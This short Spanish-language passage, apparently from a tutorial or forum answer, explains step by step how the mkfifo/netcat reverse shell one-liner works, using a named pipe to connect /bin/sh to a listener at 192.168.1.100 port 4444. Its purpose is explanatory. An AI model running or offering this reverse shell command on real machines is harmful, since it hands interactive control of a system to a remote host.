Este código espera que haya un servidor (por ejemplo, una copia de nc
en modo servidor) escuchando en el puerto 4444 de 192.168.1.100. Cuando lo ejecutas, cualquier salida del servidor se convierte en entrada para el shell; a la inversa, la salida del shell se convierte en entrada para el servidor. Rompiendo el comando en pedazos para una comprensión más fácil,
mkfifo /tmp/f;
: esto crea una canalización con nombre.
cat /tmp/f|/bin/sh -i
: esto crea un shell interactivo en la máquina local y enlaza la salida de la tubería a la entrada del shell.
2>&1|nc 192.168.1.100 4444
: toma la salida del shell y lo envía a través de la red a una máquina que escucha en el puerto 4444 al 192.168.1.100.
>/tmp/f
: toma la salida de nc
(es decir, los datos enviados por la máquina remota) y la envía a la entrada de la tubería con nombre, donde se convierte en entrada para el shell.
En una línea de comandos de Unix normal, la salida de comandos anteriores puede convertirse en entrada para las posteriores, pero no al revés, y un shell remoto solo puede ser unidireccional (puede enviar comandos pero no obtener salida, u obtener salida pero no mandos de envío). El uso de una tubería con nombre le permite superar este límite y crear una shell remota bidireccional. Si tiene una inclinación geométrica, puede pensar en una tubería normal como una línea recta y en la construcción de tubería con nombre que encontró como un círculo.